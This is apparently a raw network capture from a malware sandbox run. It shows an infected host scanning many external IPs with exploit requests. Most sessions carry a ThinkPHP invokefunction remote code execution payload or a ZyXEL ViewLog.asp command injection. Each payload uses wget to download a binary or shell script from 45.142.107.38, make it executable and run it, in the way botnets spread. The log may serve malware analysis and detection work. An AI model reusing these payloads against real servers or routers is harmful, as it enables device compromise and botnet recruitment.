Mar 4, 2024 15:06:37.335766077 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:37 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
239	192.168.2.13	45858	95.211.219.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.193366051 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.357264996 CET	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:37 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
240	192.168.2.13	40030	95.111.237.59	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.272916079 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.474241972 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
241	192.168.2.13	49598	95.86.91.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.298048973 CET	320	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
242	192.168.2.13	59302	95.214.8.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.420912027 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.660696983 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
243	192.168.2.13	54236	95.101.95.118	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.666368961 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:38.057280064 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Mon, 04 Mar 2024 14:06:37 GMT Date: Mon, 04 Mar 2024 14:06:37 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 65 66 62 64 32 31 37 26 23 34 36 3b 31 37 30 39 35 36 31 31 39 37 26 23 34 36 3b 38 33 62 39 36 64 35 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.2efbd217.1709561197.83b96d56</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
244	192.168.2.13	59330	88.17.148.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:37.711762905 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:37.907135010 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 04 Mar 2024 14:06:37 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
245	192.168.2.13	47630	94.46.22.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:39.888928890 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:40.072285891 CET	1286	IN	HTTP/1.1 400 Bad Request Date: Mon, 04 Mar 2024 14:06:39 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 35 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason {

Session ID	Source IP	Source Port	Destination IP	Destination Port
246	192.168.2.13	33506	95.211.222.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:40.224483013 CET	332	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://45.142.107.38/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Mar 4, 2024 15:06:40.386106968 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.4 Date: Mon, 04 Mar 2024 14:06:40 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.4</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
247	192.168.2.13	33710	85.71.203.96	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:40.935759068 CET	327	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
248	192.168.2.13	37346	62.133.83.7	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:41.166258097 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:41.381428003 CET	459	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Date: Mon, 04 Mar 2024 14:06:41 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
249	192.168.2.13	33720	85.71.203.96	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:41.324137926 CET	391	IN	HTTP/1.1 400 Bad Request Server: micro_httpd Cache-Control: no-cache Date: Mon, 04 Mar 2024 15:06:41 GMT Content-Type: text/html Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 63 63 39 39 39 39 22 3e 3c 48 34 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 34 3e 0a 4e 6f 20 72 65 71 75 65 73 74 20 66 6f 75 6e 64 2e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 3c 41 20 48 52 45 46 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 61 63 6d 65 2e 63 6f 6d 2f 73 6f 66 74 77 61 72 65 2f 6d 69 63 72 6f 5f 68 74 74 70 64 2f 22 3e 6d 69 63 72 6f 5f 68 74 74 70 64 3c 2f 41 3e 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY BGCOLOR="#cc9999"><H4>400 Bad Request</H4>No request found.<HR><ADDRESS><A HREF="http://www.acme.com/software/micro_httpd/">micro_httpd</A></ADDRESS></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
250	192.168.2.13	49718	94.121.117.76	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:41.385535955 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
251	192.168.2.13	47102	31.200.60.73	8080

Timestamp	Bytes transferred	Direction	Data
Mar 4, 2024 15:06:41.392251968 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:42.583090067 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:43.959150076 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:46.903156042 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:06:52.535176992 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:03.543129921 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Mar 4, 2024 15:07:26.070955992 CET	315	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 35 2e 31 34 32 2e 31 30 37 2e 33 38 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://45.142.107.38/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
